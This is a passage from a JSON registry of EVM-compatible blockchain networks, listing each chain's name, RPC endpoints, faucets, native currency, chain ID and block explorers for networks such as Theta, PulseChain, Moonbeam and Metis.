Explorer","url":"https://explorer.thetatoken.org","standard":"EIP3091"}]},{"name":"Theta Sapphire Testnet","chain":"Theta","rpc":["https://eth-rpc-api-sapphire.thetatoken.org/rpc"],"faucets":[],"nativeCurrency":{"name":"Theta Fuel","symbol":"TFUEL","decimals":18},"infoURL":"https://www.thetatoken.org/","shortName":"theta-sapphire","chainId":363,"networkId":363,"explorers":[{"name":"Theta Sapphire Testnet Explorer","url":"https://guardian-testnet-sapphire-explorer.thetatoken.org","standard":"EIP3091"}]},{"name":"Theta Amber Testnet","chain":"Theta","rpc":["https://eth-rpc-api-amber.thetatoken.org/rpc"],"faucets":[],"nativeCurrency":{"name":"Theta Fuel","symbol":"TFUEL","decimals":18},"infoURL":"https://www.thetatoken.org/","shortName":"theta-amber","chainId":364,"networkId":364,"explorers":[{"name":"Theta Amber Testnet Explorer","url":"https://guardian-testnet-amber-explorer.thetatoken.org","standard":"EIP3091"}]},{"name":"Theta Testnet","chain":"Theta","rpc":["https://eth-rpc-api-testnet.thetatoken.org/rpc"],"faucets":[],"nativeCurrency":{"name":"Theta Fuel","symbol":"TFUEL","decimals":18},"infoURL":"https://www.thetatoken.org/","shortName":"theta-testnet","chainId":365,"networkId":365,"explorers":[{"name":"Theta Testnet Explorer","url":"https://testnet-explorer.thetatoken.org","standard":"EIP3091"}]},{"name":"PulseChain Mainnet","shortName":"pls","chain":"PLS","chainId":369,"networkId":369,"infoURL":"https://pulsechain.com/","rpc":["https://rpc.mainnet.pulsechain.com/","wss://rpc.mainnet.pulsechain.com/"],"faucets":[],"nativeCurrency":{"name":"Pulse","symbol":"PLS","decimals":18}},{"name":"Lisinski","chain":"CRO","rpc":["https://rpc-bitfalls1.lisinski.online"],"faucets":["https://pipa.lisinski.online"],"nativeCurrency":{"name":"Lisinski Ether","symbol":"LISINSKI","decimals":18},"infoURL":"https://lisinski.online","shortName":"lisinski","chainId":385,"networkId":385},{"name":"Optimistic Ethereum Testnet Goerli","chain":"ETH","rpc":["https://goerli.optimism.io/"],"faucets":[],"nativeCurrency":{"name":"Görli Ether","symbol":"GOR","decimals":18},"infoURL":"https://optimism.io","shortName":"ogor","chainId":420,"networkId":420},{"name":"Rupaya","chain":"RUPX","rpc":[],"faucets":[],"nativeCurrency":{"name":"Rupaya","symbol":"RUPX","decimals":18},"infoURL":"https://www.rupx.io","shortName":"rupx","chainId":499,"networkId":499,"slip44":499},{"name":"Double-A Chain Mainnet","chain":"AAC","rpc":["https://rpc.acuteangle.com"],"faucets":[],"nativeCurrency":{"name":"Acuteangle Native Token","symbol":"AAC","decimals":18},"infoURL":"https://www.acuteangle.com/","shortName":"aac","chainId":512,"networkId":512,"slip44":1512,"explorers":[{"name":"aacscan","url":"https://scan.acuteangle.com","standard":"EIP3091"}],"icon":"aac"},{"name":"Double-A Chain Testnet","chain":"AAC","icon":"aac","rpc":["https://rpc-testnet.acuteangle.com"],"faucets":["https://scan-testnet.acuteangle.com/faucet"],"nativeCurrency":{"name":"Acuteangle Native Token","symbol":"AAC","decimals":18},"infoURL":"https://www.acuteangle.com/","shortName":"aact","chainId":513,"networkId":513,"explorers":[{"name":"aacscan-testnet","url":"https://scan-testnet.acuteangle.com","standard":"EIP3091"}]},{"name":"Vela1 Chain Mainnet","chain":"VELA1","rpc":["https://rpc.velaverse.io"],"faucets":[],"nativeCurrency":{"name":"CLASS COIN","symbol":"CLASS","decimals":18},"infoURL":"https://velaverse.io","shortName":"CLASS","chainId":555,"networkId":555,"explorers":[{"name":"Vela1 Chain Mainnet Explorer","url":"https://exp.velaverse.io","standard":"EIP3091"}]},{"name":"Tao Network","chain":"TAO","rpc":["https://rpc.testnet.tao.network","http://rpc.testnet.tao.network:8545","https://rpc.tao.network","wss://rpc.tao.network"],"faucets":[],"nativeCurrency":{"name":"Tao","symbol":"TAO","decimals":18},"infoURL":"https://tao.network","shortName":"tao","chainId":558,"networkId":558},{"name":"Metis Stardust Testnet","chain":"ETH","rpc":["https://stardust.metis.io/?owner=588"],"faucets":[],"nativeCurrency":{"name":"tMetis","symbol":"METIS","decimals":18},"infoURL":"https://www.metis.io","shortName":"metis-stardust","chainId":588,"networkId":588,"explorers":[{"name":"blockscout","url":"https://stardust-explorer.metis.io","standard":"EIP3091"}],"parent":{"type":"L2","chain":"eip155-4","bridges":[{"url":"https://bridge.metis.io"}]}},{"name":"Acala Mandala Testnet","chain":"mACA","rpc":[],"faucets":[],"nativeCurrency":{"name":"Acala Mandala Token","symbol":"mACA","decimals":18},"infoURL":"https://acala.network","shortName":"maca","chainId":595,"networkId":595},{"name":"Meshnyan testnet","chain":"MeshTestChain","rpc":[],"faucets":[],"nativeCurrency":{"name":"Meshnyan Testnet Native Token","symbol":"MESHT","decimals":18},"infoURL":"","shortName":"mesh-chain-testnet","chainId":600,"networkId":600},{"name":"Pixie Chain Testnet","chain":"PixieChain","rpc":["https://http-testnet.chain.pixie.xyz","wss://ws-testnet.chain.pixie.xyz"],"faucets":["https://chain.pixie.xyz/faucet"],"nativeCurrency":{"name":"Pixie Chain Testnet Native Token","symbol":"PCTT","decimals":18},"infoURL":"https://scan-testnet.chain.pixie.xyz","shortName":"pixie-chain-testnet","chainId":666,"networkId":666},{"name":"Karura Network","chain":"KAR","rpc":[],"faucets":[],"nativeCurrency":{"name":"Karura Token","symbol":"KAR","decimals":18},"infoURL":"https://karura.network","shortName":"kar","chainId":686,"networkId":686,"slip44":686},{"name":"BlockChain Station Mainnet","chain":"BCS","rpc":["https://rpc-mainnet.bcsdev.io","wss://rpc-ws-mainnet.bcsdev.io"],"faucets":[],"nativeCurrency":{"name":"BCS Token","symbol":"BCS","decimals":18},"infoURL":"https://blockchainstation.io","shortName":"bcs","chainId":707,"networkId":707,"explorers":[{"name":"BlockChain Station Explorer","url":"https://explorer.bcsdev.io","standard":"EIP3091"}]},{"name":"BlockChain Station Testnet","chain":"BCS","rpc":["https://rpc-testnet.bcsdev.io","wss://rpc-ws-testnet.bcsdev.io"],"faucets":["https://faucet.bcsdev.io"],"nativeCurrency":{"name":"BCS Testnet Token","symbol":"tBCS","decimals":18},"infoURL":"https://blockchainstation.io","shortName":"tbcs","chainId":708,"networkId":708,"explorers":[{"name":"BlockChain Station Explorer","url":"https://testnet.bcsdev.io","standard":"EIP3091"}]},{"name":"Factory 127 Testnet","chain":"FETH","rpc":[],"faucets":[],"nativeCurrency":{"name":"Factory 127 Token","symbol":"FETH","decimals":18},"infoURL":"https://www.factory127.com","shortName":"tfeth","chainId":721,"networkId":721,"slip44":721},{"name":"cheapETH","chain":"cheapETH","rpc":["https://node.cheapeth.org/rpc"],"faucets":[],"nativeCurrency":{"name":"cTH","symbol":"cTH","decimals":18},"infoURL":"https://cheapeth.org/","shortName":"cth","chainId":777,"networkId":777},{"name":"Acala Network","chain":"ACA","rpc":[],"faucets":[],"nativeCurrency":{"name":"Acala Token","symbol":"ACA","decimals":18},"infoURL":"https://acala.network","shortName":"aca","chainId":787,"networkId":787,"slip44":787},{"name":"Aerochain Testnet","chain":"Aerochain","network":"testnet","rpc":["https://testnet-rpc.aerochain.id/"],"faucets":["https://faucet.aerochain.id/"],"nativeCurrency":{"name":"Aerochain Testnet","symbol":"TAero","decimals":18},"infoURL":"https://aerochaincoin.org/","shortName":"taero","chainId":788,"networkId":788,"explorers":[{"name":"aeroscan","url":"https://testnet.aeroscan.id","standard":"EIP3091"}]},{"name":"Haic","chain":"Haic","rpc":["https://orig.haichain.io/"],"faucets":[],"nativeCurrency":{"name":"Haicoin","symbol":"HAIC","decimals":18},"infoURL":"https://www.haichain.io/","shortName":"haic","chainId":803,"networkId":803},{"name":"Callisto Mainnet","chain":"CLO","rpc":["https://clo-geth.0xinfra.com"],"faucets":[],"nativeCurrency":{"name":"Callisto Mainnet Ether","symbol":"CLO","decimals":18},"infoURL":"https://callisto.network","shortName":"clo","chainId":820,"networkId":1,"slip44":820},{"name":"Callisto Testnet","chain":"CLO","rpc":[],"faucets":[],"nativeCurrency":{"name":"Callisto Testnet Ether","symbol":"TCLO","decimals":18},"infoURL":"https://callisto.network","shortName":"tclo","chainId":821,"networkId":2},{"name":"Ambros Chain Mainnet","chain":"ambroschain","rpc":["https://mainnet.ambroschain.com"],"faucets":[],"nativeCurrency":{"name":"AMBROS","symbol":"AMBR","decimals":18},"infoURL":"https://bcmhunt.com/","shortName":"ambros","chainId":880,"networkId":880,"explorers":[{"name":"Ambros Chain Explorer","url":"https://explorer.ambroschain.com","standard":"none"}]},{"name":"Wanchain","chain":"WAN","rpc":["https://gwan-ssl.wandevs.org:56891/"],"faucets":[],"nativeCurrency":{"name":"Wancoin","symbol":"WAN","decimals":18},"infoURL":"https://www.wanscan.org","shortName":"wan","chainId":888,"networkId":888,"slip44":5718350},{"name":"Garizon Testnet Stage0","chain":"GAR","network":"testnet","icon":"garizon","rpc":["https://s0-testnet.garizon.net/rpc"],"faucets":["https://faucet-testnet.garizon.com"],"nativeCurrency":{"name":"Garizon","symbol":"GAR","decimals":18},"infoURL":"https://garizon.com","shortName":"gar-test-s0","chainId":900,"networkId":900,"explorers":[{"name":"explorer","url":"https://explorer-testnet.garizon.com","icon":"garizon","standard":"EIP3091"}]},{"name":"Garizon Testnet Stage1","chain":"GAR","network":"testnet","icon":"garizon","rpc":["https://s1-testnet.garizon.net/rpc"],"faucets":["https://faucet-testnet.garizon.com"],"nativeCurrency":{"name":"Garizon","symbol":"GAR","decimals":18},"infoURL":"https://garizon.com","shortName":"gar-test-s1","chainId":901,"networkId":901,"explorers":[{"name":"explorer","url":"https://explorer-testnet.garizon.com","icon":"garizon","standard":"EIP3091"}],"parent":{"chain":"eip155-900","type":"shard"}},{"name":"Garizon Testnet Stage2","chain":"GAR","network":"testnet","icon":"garizon","rpc":["https://s2-testnet.garizon.net/rpc"],"faucets":["https://faucet-testnet.garizon.com"],"nativeCurrency":{"name":"Garizon","symbol":"GAR","decimals":18},"infoURL":"https://garizon.com","shortName":"gar-test-s2","chainId":902,"networkId":902,"explorers":[{"name":"explorer","url":"https://explorer-testnet.garizon.com","icon":"garizon","standard":"EIP3091"}],"parent":{"chain":"eip155-900","type":"shard"}},{"name":"Garizon Testnet Stage3","chain":"GAR","network":"testnet","icon":"garizon","rpc":["https://s3-testnet.garizon.net/rpc"],"faucets":["https://faucet-testnet.garizon.com"],"nativeCurrency":{"name":"Garizon","symbol":"GAR","decimals":18},"infoURL":"https://garizon.com","shortName":"gar-test-s3","chainId":903,"networkId":903,"explorers":[{"name":"explorer","url":"https://explorer-testnet.garizon.com","icon":"garizon","standard":"EIP3091"}],"parent":{"chain":"eip155-900","type":"shard"}},{"name":"PulseChain Testnet","shortName":"tpls","chain":"tPLS","chainId":940,"networkId":940,"infoURL":"https://pulsechain.com/","rpc":["https://rpc.v2.testnet.pulsechain.com/","wss://rpc.v2.testnet.pulsechain.com/"],"faucets":["https://faucet.v2.testnet.pulsechain.com/"],"nativeCurrency":{"name":"Test Pulse","symbol":"tPLS","decimals":18}},{"name":"PulseChain Testnet v2b","shortName":"t2bpls","chain":"t2bPLS","network":"testnet-2b","chainId":941,"networkId":941,"infoURL":"https://pulsechain.com/","rpc":["https://rpc.v2b.testnet.pulsechain.com/","wss://rpc.v2b.testnet.pulsechain.com/"],"faucets":["https://faucet.v2b.testnet.pulsechain.com/"],"nativeCurrency":{"name":"Test Pulse","symbol":"tPLS","decimals":18}},{"name":"PulseChain Testnet v3","shortName":"t3pls","chain":"t3PLS","network":"testnet-3","chainId":942,"networkId":942,"infoURL":"https://pulsechain.com/","rpc":["https://rpc.v3.testnet.pulsechain.com/","wss://rpc.v3.testnet.pulsechain.com/"],"faucets":["https://faucet.v3.testnet.pulsechain.com/"],"nativeCurrency":{"name":"Test Pulse","symbol":"tPLS","decimals":18}},{"name":"Nepal Blockchain Network","chain":"YETI","rpc":["https://api.nepalblockchain.dev","https://api.nepalblockchain.network"],"faucets":["https://faucet.nepalblockchain.network"],"nativeCurrency":{"name":"Nepal Blockchain Network Ether","symbol":"YETI","decimals":18},"infoURL":"https://nepalblockchain.network","shortName":"yeti","chainId":977,"networkId":977},{"name":"Lucky Network","chain":"LN","rpc":["https://rpc.luckynetwork.org","wss://ws.lnscan.org","https://rpc.lnscan.org"],"faucets":[],"nativeCurrency":{"name":"Lucky","symbol":"L99","decimals":18},"infoURL":"https://luckynetwork.org","shortName":"ln","chainId":998,"networkId":998,"icon":"lucky","explorers":[{"name":"blockscout","url":"https://explorer.luckynetwork.org","standard":"none"},{"name":"expedition","url":"https://lnscan.org","standard":"none"}]},{"name":"Wanchain Testnet","chain":"WAN","rpc":["https://gwan-ssl.wandevs.org:46891/"],"faucets":[],"nativeCurrency":{"name":"Wancoin","symbol":"WAN","decimals":18},"infoURL":"https://testnet.wanscan.org","shortName":"twan","chainId":999,"networkId":999},{"name":"Klaytn Testnet Baobab","chain":"KLAY","rpc":["https://api.baobab.klaytn.net:8651"],"faucets":["https://baobab.wallet.klaytn.com/access?next=faucet"],"nativeCurrency":{"name":"KLAY","symbol":"KLAY","decimals":18},"infoURL":"https://www.klaytn.com/","shortName":"Baobab","chainId":1001,"networkId":1001},{"name":"Newton Testnet","chain":"NEW","rpc":["https://rpc1.newchain.newtonproject.org"],"faucets":[],"nativeCurrency":{"name":"Newton","symbol":"NEW","decimals":18},"infoURL":"https://www.newtonproject.org/","shortName":"tnew","chainId":1007,"networkId":1007},{"name":"Evrice Network","chain":"EVC","rpc":["https://meta.evrice.com"],"faucets":[],"nativeCurrency":{"name":"Evrice","symbol":"EVC","decimals":18},"infoURL":"https://evrice.com","shortName":"EVC","chainId":1010,"networkId":1010,"slip44":1020},{"name":"Newton","chain":"NEW","rpc":["https://global.rpc.mainnet.newtonproject.org"],"faucets":[],"nativeCurrency":{"name":"Newton","symbol":"NEW","decimals":18},"infoURL":"https://www.newtonproject.org/","shortName":"new","chainId":1012,"networkId":1012},{"name":"Sakura","chain":"Sakura","rpc":[],"faucets":[],"nativeCurrency":{"name":"Sakura","symbol":"SKU","decimals":18},"infoURL":"https://clover.finance/sakura","shortName":"sku","chainId":1022,"networkId":1022},{"name":"Clover Testnet","chain":"Clover","rpc":[],"faucets":[],"nativeCurrency":{"name":"Clover","symbol":"CLV","decimals":18},"infoURL":"https://clover.finance","shortName":"tclv","chainId":1023,"networkId":1023},{"name":"Clover Mainnet","chain":"Clover","rpc":["https://rpc-ivy.clover.finance","https://rpc-ivy-2.clover.finance","https://rpc-ivy-3.clover.finance"],"faucets":[],"nativeCurrency":{"name":"Clover","symbol":"CLV","decimals":18},"infoURL":"https://clover.finance","shortName":"clv","chainId":1024,"networkId":1024},{"name":"BitTorrent Chain Testnet","chain":"BTTC","rpc":["https://testrpc.bittorrentchain.io/"],"faucets":[],"nativeCurrency":{"name":"BitTorrent","symbol":"BTT","decimals":18},"infoURL":"https://bittorrentchain.io/","shortName":"tbtt","chainId":1028,"networkId":1028,"explorers":[{"name":"testbttcscan","url":"https://testscan.bittorrentchain.io","standard":"none"}]},{"name":"Conflux eSpace","chain":"Conflux","network":"mainnet","rpc":["https://evm.confluxrpc.com"],"faucets":[],"nativeCurrency":{"name":"CFX","symbol":"CFX","decimals":18},"infoURL":"https://confluxnetwork.org","shortName":"cfx","chainId":1030,"networkId":1030,"icon":"conflux","explorers":[{"name":"Conflux Scan","url":"https://evm.confluxscan.net","standard":"none"}]},{"name":"Metis Andromeda Mainnet","chain":"ETH","rpc":["https://andromeda.metis.io/?owner=1088"],"faucets":[],"nativeCurrency":{"name":"Metis","symbol":"METIS","decimals":18},"infoURL":"https://www.metis.io","shortName":"metis-andromeda","chainId":1088,"networkId":1088,"explorers":[{"name":"blockscout","url":"https://andromeda-explorer.metis.io","standard":"EIP3091"}],"parent":{"type":"L2","chain":"eip155-1","bridges":[{"url":"https://bridge.metis.io"}]}},{"name":"MathChain","chain":"MATH","rpc":["https://mathchain-asia.maiziqianbao.net/rpc","https://mathchain-us.maiziqianbao.net/rpc"],"faucets":[],"nativeCurrency":{"name":"MathChain","symbol":"MATH","decimals":18},"infoURL":"https://mathchain.org","shortName":"MATH","chainId":1139,"networkId":1139},{"name":"MathChain Testnet","chain":"MATH","rpc":["https://galois-hk.maiziqianbao.net/rpc"],"faucets":["https://scan.boka.network/#/Galois/faucet"],"nativeCurrency":{"name":"MathChain","symbol":"MATH","decimals":18},"infoURL":"https://mathchain.org","shortName":"tMATH","chainId":1140,"networkId":1140},{"name":"Iora Chain","chain":"IORA","network":"iorachain","icon":"iorachain","rpc":["https://dataseed.iorachain.com"],"faucets":[],"nativeCurrency":{"name":"Iora","symbol":"IORA","decimals":18},"infoURL":"https://iorachain.com","shortName":"iora","chainId":1197,"networkId":1197,"explorers":[{"name":"ioraexplorer","url":"https://explorer.iorachain.com","standard":"EIP3091"}]},{"name":"Evanesco Testnet","chain":"Evanesco Testnet","network":"avis","rpc":["https://seed5.evanesco.org:8547"],"faucets":[],"nativeCurrency":{"name":"AVIS","symbol":"AVIS","decimals":18},"infoURL":"https://evanesco.org/","shortName":"avis","chainId":1201,"networkId":1201},{"name":"World Trade Technical Chain Mainnet","chain":"WTT","rpc":["https://rpc.cadaut.com","wss://rpc.cadaut.com/ws"],"faucets":[],"nativeCurrency":{"name":"World Trade Token","symbol":"WTT","decimals":18},"infoURL":"http://www.cadaut.com","shortName":"wtt","chainId":1202,"networkId":2048,"explorers":[{"name":"WTTScout","url":"https://explorer.cadaut.com","standard":"EIP3091"}]},{"name":"Popcateum Mainnet","chain":"POPCATEUM","rpc":["https://dataseed.popcateum.org"],"faucets":[],"nativeCurrency":{"name":"Popcat","symbol":"POP","decimals":18},"infoURL":"https://popcateum.org","shortName":"popcat","chainId":1213,"networkId":1213,"explorers":[{"name":"popcateum explorer","url":"https://explorer.popcateum.org","standard":"none"}]},{"name":"EnterChain Mainnet","chain":"ENTER","network":"mainnet","rpc":["https://tapi.entercoin.net/"],"faucets":[],"nativeCurrency":{"name":"EnterCoin","symbol":"ENTER","decimals":18},"infoURL":"https://entercoin.net","shortName":"enter","chainId":1214,"networkId":1214,"icon":"enter","explorers":[{"name":"Enter Explorer - Expenter","url":"https://explorer.entercoin.net","icon":"enter","standard":"EIP3091"}]},{"name":"HALO Mainnet","chain":"HALO","rpc":["https://nodes.halo.land"],"faucets":[],"nativeCurrency":{"name":"HALO","symbol":"HO","decimals":18},"infoURL":"https://halo.land/#/","shortName":"HO","chainId":1280,"networkId":1280,"explorers":[{"name":"HALOexplorer","url":"https://browser.halo.land","standard":"none"}]},{"name":"Moonbeam","chain":"MOON","rpc":["https://rpc.api.moonbeam.network","wss://wss.api.moonbeam.network"],"faucets":[],"nativeCurrency":{"name":"Glimmer","symbol":"GLMR","decimals":18},"infoURL":"https://moonbeam.network/networks/moonbeam/","shortName":"mbeam","chainId":1284,"networkId":1284,"explorers":[{"name":"moonscan","url":"https://moonbeam.moonscan.io","standard":"none"}]},{"name":"Moonriver","chain":"MOON","rpc":["https://rpc.api.moonriver.moonbeam.network","wss://wss.api.moonriver.moonbeam.network"],"faucets":[],"nativeCurrency":{"name":"Moonriver","symbol":"MOVR","decimals":18},"infoURL":"https://moonbeam.network/networks/moonriver/","shortName":"mriver","chainId":1285,"networkId":1285,"explorers":[{"name":"moonscan","url":"https://moonriver.moonscan.io","standard":"none"}]},{"name":"Moonrock old","chain":"MOON","rpc":[],"faucets":[],"nativeCurrency":{"name":"Rocs","symbol":"ROC","decimals":18},"infoURL":"","shortName":"mrock-old","chainId":1286,"networkId":1286,"deprecated":true},{"name":"Moonbase Alpha","chain":"MOON","rpc":["https://rpc.api.moonbase.moonbeam.network","wss://wss.api.moonbase.moonbeam.network"],"faucets":[],"nativeCurrency":{"name":"Dev","symbol":"DEV","decimals":18},"infoURL":"https://docs.moonbeam.network/networks/testnet/","shortName":"mbase","chainId":1287,"networkId":1287,"explorers":[{"name":"moonscan","url":"https://moonbase.moonscan.io","standard":"none"}]},{"name":"Moonrock","chain":"MOON","rpc":["https://rpc.api.moonrock.moonbeam.network","wss://wss.api.moonrock.moonbeam.network"],"faucets":[],"nativeCurrency":{"name":"Rocs","symbol":"ROC","decimals":18},"infoURL":"https://docs.moonbeam.network/learn/platform/networks/overview/","shortName":"mrock","chainId":1288,"networkId":1288},{"name":"CENNZnet Azalea","chain":"CENNZnet","network":"azalea","rpc":["https://cennznet.unfrastructure.io/public"],"faucets":[],"nativeCurrency":{"name":"CPAY","symbol":"CPAY","decimals":18},"infoURL":"https://cennz.net","shortName":"cennz-a","chainId":1337,"networkId":1337,"icon":"cennz","explorers":[{"name":"UNcover","url":"https://uncoverexplorer.com","standard":"none"}]},{"name":"Catecoin Chain Mainnet","chain":"Catechain","rpc":["https://send.catechain.com"],"faucets":[],"nativeCurrency":{"name":"Catecoin","symbol":"CATE","decimals":18},"infoURL":"https://catechain.com","shortName":"cate","chainId":1618,"networkId":1618},{"name":"Atheios","chain":"ATH","rpc":["https://wallet.atheios.com:8797"],"faucets":[],"nativeCurrency":{"name":"Atheios Ether","symbol":"ATH","decimals":18},"infoURL":"https://atheios.com","shortName":"ath","chainId":1620,"networkId":11235813,"slip44":1620},{"name":"Btachain","chain":"btachain","rpc":["https://dataseed1.btachain.com/"],"faucets":[],"nativeCurrency":{"name":"Bitcoin Asset","symbol":"BTA","decimals":18},"infoURL":"https://bitcoinasset.io/","shortName":"bta","chainId":1657,"networkId":1657},{"name":"LUDAN Mainnet","chain":"LUDAN","rpc":["http://rpc.ludan.org:55001/"],"faucets":[],"nativeCurrency":{"name":"LUDAN","symbol":"LUDAN","decimals":18},"infoURL":"https://www.ludan.org/","shortName":"LUDAN","icon":"ludan","chainId":1688,"networkId":1688},{"name":"Teslafunds","chain":"TSF","rpc":["https://tsfapi.europool.me"],"faucets":[],"nativeCurrency":{"name":"Teslafunds Ether","symbol":"TSF","decimals":18},"infoURL":"https://teslafunds.io","shortName":"tsf","chainId":1856,"networkId":1},{"name":"BON Network","chain":"BON","network":"testnet","rpc":["http://8.210.150.70:8545"],"faucets":[],"nativeCurrency":{"name":"BOYACoin","symbol":"BOY","decimals":18},"infoURL":"https://boyanet.org","shortName":"boya","chainId":1898,"networkId":1,"explorers":[{"name":"explorer","url":"https://explorer.boyanet.org:4001","standard":"EIP3091"}]},{"name":"EtherGem","chain":"EGEM","rpc":["https://jsonrpc.egem.io/custom"],"faucets":[],"nativeCurrency":{"name":"EtherGem Ether","symbol":"EGEM","decimals":18},"infoURL":"https://egem.io","shortName":"egem","chainId":1987,"networkId":1987,"slip44":1987},{"name":"Milkomeda C1 Mainnet","chain":"milkAda","icon":"milkomeda","network":"mainnet","rpc":["https://rpc-mainnet-cardano-evm.c1.milkomeda.com","wss://rpc-mainnet-cardano-evm.c1.milkomeda.com"],"faucets":[],"nativeCurrency":{"name":"milkAda","symbol":"milkAda","decimals":18},"infoURL":"https://milkomeda.com","shortName":"milkAda","chainId":2001,"networkId":2001,"explorers":[{"name":"Blockscout","url":"https://explorer-mainnet-cardano-evm.c1.milkomeda.com","standard":"none"}]},{"name":"420coin","chain":"420","rpc":[],"faucets":[],"nativeCurrency":{"name":"Fourtwenty","symbol":"420","decimals":18},"infoURL":"https://420integrated.com","shortName":"420","chainId":2020,"networkId":2020},{"name":"Edgeware Mainnet","chain":"EDG","rpc":["https://mainnet1.edgewa.re"],"faucets":[],"nativeCurrency":{"name":"Edge","symbol":"EDG","decimals":18},"infoURL":"http://edgewa.re","shortName":"edg","chainId":2021,"networkId":2021},{"name":"Beresheet Testnet","chain":"EDG","rpc":["https://beresheet1.edgewa.re"],"faucets":[],"nativeCurrency":{"name":"Testnet Edge","symbol":"tEDG","decimals":18},"infoURL":"http://edgewa.re","shortName":"edgt","chainId":2022,"networkId":2022},{"name":"Rangers Protocol Mainnet","chain":"Rangers","icon":"rangers","rpc":["https://mainnet.rangersprotocol.com/api/jsonrpc"],"faucets":[],"nativeCurrency":{"name":"Rangers Protocol Gas","symbol":"RPG","decimals":18},"infoURL":"https://rangersprotocol.com","shortName":"rpg","chainId":2025,"networkId":2025,"slip44":1008,"explorers":[{"name":"rangersscan","url":"https://scan.rangersprotocol.com","standard":"none"}]},{"name":"Ecoball Mainnet","chain":"ECO","rpc":["https://api.ecoball.org/ecoball/"],"faucets":[],"nativeCurrency":{"name":"Ecoball Coin","symbol":"ECO","decimals":18},"infoURL":"https://ecoball.org","shortName":"eco","chainId":2100,"networkId":2100,"explorers":[{"name":"Ecoball Explorer","url":"https://scan.ecoball.org","standard":"EIP3091"}]},{"name":"Ecoball Testnet Espuma","chain":"ECO","rpc":["https://api.ecoball.org/espuma/"],"faucets":[],"nativeCurrency":{"name":"Espuma Coin","symbol":"ECO","decimals":18},"infoURL":"https://ecoball.org","shortName":"esp","chainId":2101,"networkId":2101,"explorers":[{"name":"Ecoball Testnet Explorer","url":"https://espuma-scan.ecoball.org","standard":"EIP3091"}]},{"name":"Evanesco Mainnet","chain":"EVA","network":"mainnet","rpc":["https://seed4.evanesco.org:8546"],"faucets":[],"nativeCurrency":{"name":"EVA","symbol":"EVA","decimals":18},"infoURL":"https://evanesco.org/","shortName":"evanesco","chainId":2213,"networkId":2213,"icon":"evanesco","explorers":[{"name":"Evanesco Explorer","url":"https://explorer.evanesco.org","standard":"none"}]},{"name":"Kava EVM Testnet","chain":"KAVA","network":"testnet","rpc":["https://evm.evm-alpha.kava.io","wss://evm-ws.evm-alpha.kava.io"],"faucets":["https://faucet.kava.io"],"nativeCurrency":{"name":"Kava","symbol":"KAVA","decimals":18},"infoURL":"https://www.kava.io","shortName":"kava","chainId":2221,"networkId":2221,"icon":"kava","explorers":[{"name":"Kava Testnet Explorer","url":"https://explorer.evm-alpha.kava.io","standard":"EIP3091","icon":"kava"}]},{"name":"Kortho Mainnet","chain":"Kortho Chain","rpc":["https://www.kortho-chain.com"],"faucets":[],"nativeCurrency":{"name":"KorthoChain","symbol":"KTO","decimals":11},"infoURL":"https://www.kortho.io/","shortName":"ktoc","chainId":2559,"networkId":2559},{"name":"CENNZnet Rata","chain":"CENNZnet","network":"rata","rpc":["https://rata.centrality.me/public"],"faucets":["https://app-faucet.centrality.me"],"nativeCurrency":{"name":"CPAY","symbol":"CPAY","decimals":18},"infoURL":"https://cennz.net","shortName":"cennz-r","chainId":3000,"networkId":3000,"icon":"cennz"},{"name":"CENNZnet Nikau","chain":"CENNZnet","network":"nikau","rpc":["https://nikau.centrality.me/public"],"faucets":["https://app-faucet.centrality.me"],"nativeCurrency":{"name":"CPAY","symbol":"CPAY","decimals":18},"infoURL":"https://cennz.net","shortName":"cennz-n","chainId":3001,"networkId":3001,"icon":"cennz","explorers":[{"name":"UNcover","url":"https://www.uncoverexplorer.com/?network=Nikau","standard":"none"}]},{"name":"ZCore Testnet","chain":"Beach","icon":"zcore","rpc":["https://rpc-testnet.zcore.cash"],"faucets":["https://faucet.zcore.cash"],"nativeCurrency":{"name":"ZCore","symbol":"ZCR","decimals":18},"infoURL":"https://zcore.cash","shortName":"zcrbeach","chainId":3331,"networkId":3331},{"name":"Web3Q Testnet","chain":"Web3Q","rpc":["https://testnet.web3q.io:8545"],"faucets":[],"nativeCurrency":{"name":"Web3Q","symbol":"W3Q","decimals":18},"infoURL":"https://testnet.web3q.io/home.w3q/","shortName":"w3q-t","chainId":3333,"networkId":3333,"explorers":[{"name":"w3q-testnet","url":"https://explorer.testnet.web3q.io","standard":"EIP3091"}]},{"name":"Web3Q Galileo","chain":"Web3Q","rpc":["https://galileo.web3q.io:8545"],"faucets":[],"nativeCurrency":{"name":"Web3Q","symbol":"W3Q","decimals":18},"infoURL":"https://galileo.web3q.io/home.w3q/","shortName":"w3q-g","chainId":3334,"networkId":3334,"explorers":[{"name":"w3q-galileo","url":"https://explorer.galileo.web3q.io","standard":"EIP3091"}]},{"name":"Paribu Net Mainnet","chain":"PRB","network":"Paribu Net","rpc":["https://rpc.paribu.network"],"faucets":[],"nativeCurrency":{"name":"PRB","symbol":"PRB","decimals":18},"infoURL":"https://net.paribu.com","shortName":"prb","chainId":3400,"networkId":3400,"icon":"prb","explorers":[{"name":"Paribu Net Explorer","url":"https://explorer.paribu.network","icon":"explorer","standard":"EIP3091"}]},{"name":"Paribu Net Testnet","chain":"PRB","network":"Paribu Net","rpc":["https://rpc.testnet.paribuscan.com"],"faucets":["https://faucet.paribuscan.com"],"nativeCurrency":{"name":"PRB","symbol":"PRB","decimals":18},"infoURL":"https://net.paribu.com","shortName":"prbtestnet","chainId":3500,"networkId":3500,"icon":"prb","explorers":[{"name":"Paribu Net Testnet Explorer","url":"https://testnet.paribuscan.com","icon":"explorer","standard":"EIP3091"}]},{"name":"Bittex Mainnet","chain":"BTX","rpc":["https://rpc1.bittexscan.info","https://rpc2.bittexscan.info"],"faucets":[],"nativeCurrency":{"name":"Bittex","symbol":"BTX","decimals":18},"infoURL":"https://bittexscan.com","shortName":"btx","chainId":3690,"networkId":3690,"icon":"ethereum","explorers":[{"name":"bittexscan","url":"https://bittexscan.com","icon":"etherscan","standard":"EIP3091"}]},{"name":"DYNO Mainnet","chain":"DYNO","rpc":["https://api.dynoprotocol.com"],"faucets":["https://faucet.dynoscan.io"],"nativeCurrency":{"name":"DYNO Token","symbol":"DYNO","decimals":18},"infoURL":"https://dynoprotocol.com","shortName":"dyno","chainId":3966,"networkId":3966,"explorers":[{"name":"DYNO Explorer","url":"https://dynoscan.io","standard":"EIP3091"}]},{"name":"DYNO Testnet","chain":"DYNO","rpc":["https://tapi.dynoprotocol.com"],"faucets":["https://faucet.dynoscan.io"],"nativeCurrency":{"name":"DYNO Token","symbol":"tDYNO","decimals":18},"infoURL":"https://dynoprotocol.com","shortName":"tdyno","chainId":3967,"networkId":3967,"explorers":[{"name":"DYNO 